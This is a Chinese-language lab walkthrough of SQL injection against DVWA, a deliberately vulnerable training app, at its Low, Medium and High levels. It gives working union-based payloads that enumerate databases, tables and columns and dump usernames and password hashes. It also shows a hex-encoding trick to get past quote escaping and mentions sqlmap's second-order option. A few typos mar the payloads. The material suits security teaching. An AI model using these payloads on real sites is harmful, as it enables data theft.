DVWA SQL Injection
MySql相关知识
MySQL5.0版本之后,MySQL默认在数据库中存放一个“information_cshema”的数据库,在该数据库中分别有三个表:SCHEMATA、TABLES、COLUMNS
- SCHEMATA
存储该用户创建的所有数据库的库名,其中SCHEMA_NAME字段存放数据库库名 - TABLES
TABLES表中存储用户创建的所有数据库的库名和表名,其中TABLE_SCHEMA字段存放数据库库名,TABLE_NAME字段存放数据库表名 - COLUMNS
COLUMNS表存储用户创建的所有数据库的库名、表名、字段名,其中TABLE_SCHEMA字段存放数据库库名,TABLE_NAME字段存放数据库表名,COLUMN_NAME字段存放数据库字段名
手工注入思路(非盲注)
1.判断是否存在注入点,注入是字符型注入还是数字型注入
2.判断SQL查询语句中的字段数
3.确定回显点
4.获取当前数据库
5.获取当前数据库中的表名
6.获取表中字段名
7.查询字段,获取表中数据
Low
1.判断是否存在注入点,注入是字符型注入还是数字型注入
输入1,页面正常
输入1' and '1'='1
页面正常,判断存在字符型注入
2.猜解SQL查询语句中的字段数
输入1' and 1 order by 1,2#
查询成功
输入1' and 1 order by 3#
查询失败,说明执行的SQL查询语句中只有两个字段
3.确定回显点
输入1' union select 1,2#
4.获取当前数据库
输入 1' union seecet 1,database()#
,查得当前数据库为dvwa
5.获取数据库表名
输入1' union select 1,table_name from information_schema.tables where table_schema=database()#
,查得当前数据库有两个表,guestbook和users
6.获取表中字段名
输入1' union select 1,column_name from information_schema.columns where table_name='users'#
,查得users表中字段:user_id、first_name、last_name、user、password、avatar、last_login、failed_login
7.查询字段,获取表中数据
输入1' union select user,password from users#
,查得user和password的数据
Medium
前端使用了下拉选择菜单,所以选择使用burp抓包,通过修改参数来提交恶意构造的查询语句
抓到数据包如下
将数据包发送到Repeater模块,通过修改参数id来提交构造的查询语句
1.判断是否存在注入点,注入是字符型注入还是数字型注入
修改参数id为1' and '1'='1
页面报错
修改参数id为1 and 1=1
查询成功,说明存在数字型注入
2.判断SQL查询语句中的字段数
修改参数id为1 order by 1,2
查询成功
修改参数id为1 order by 1,2,3
查询失败,说明执行的SQL查询语句中只有两个字段
3.确定回显点
修改参数id为1 union select 1,2
4.获取当前数据库
修改参数id为1 union select 1,database()
,查得数据库名为dvwa
5.获取当前数据库中的表名
修改参数id为1 union select 1,table_name from information_schema.tables where table_schema=database()
,查得数据库中有guestbook和users两个表
获取表中字段名
修改参数id为1 union select 1,column_name from information_schema.columns where table_name='users'
,查询失败,查看报错信息可知失败原因是'
被转义为\'
可以使用十六进制绕过,修改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
,查询成功,查得字段名user_id、first_name、last_name、user、password、avatar、last_login、failed_login
这里为了方便在burp中观察使用了group_concat函数对字段名进行了拼接
7.查询字段,获取表中数据
修改参数id为1 union select user,password from users
,查得user和password的数据
High
虽然High级别的查询提交页面与查询结果显示页面不是同一个,但手工注入过程和Low级别基本一致,这里便不再赘述,将直接演示最后一步查询字段,获取表中数据
输入1' and 1 union select user,password from users#
,即可获取user和password的数据
这里查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,在使用sqlmap时应使用二阶注入选项--sceond-url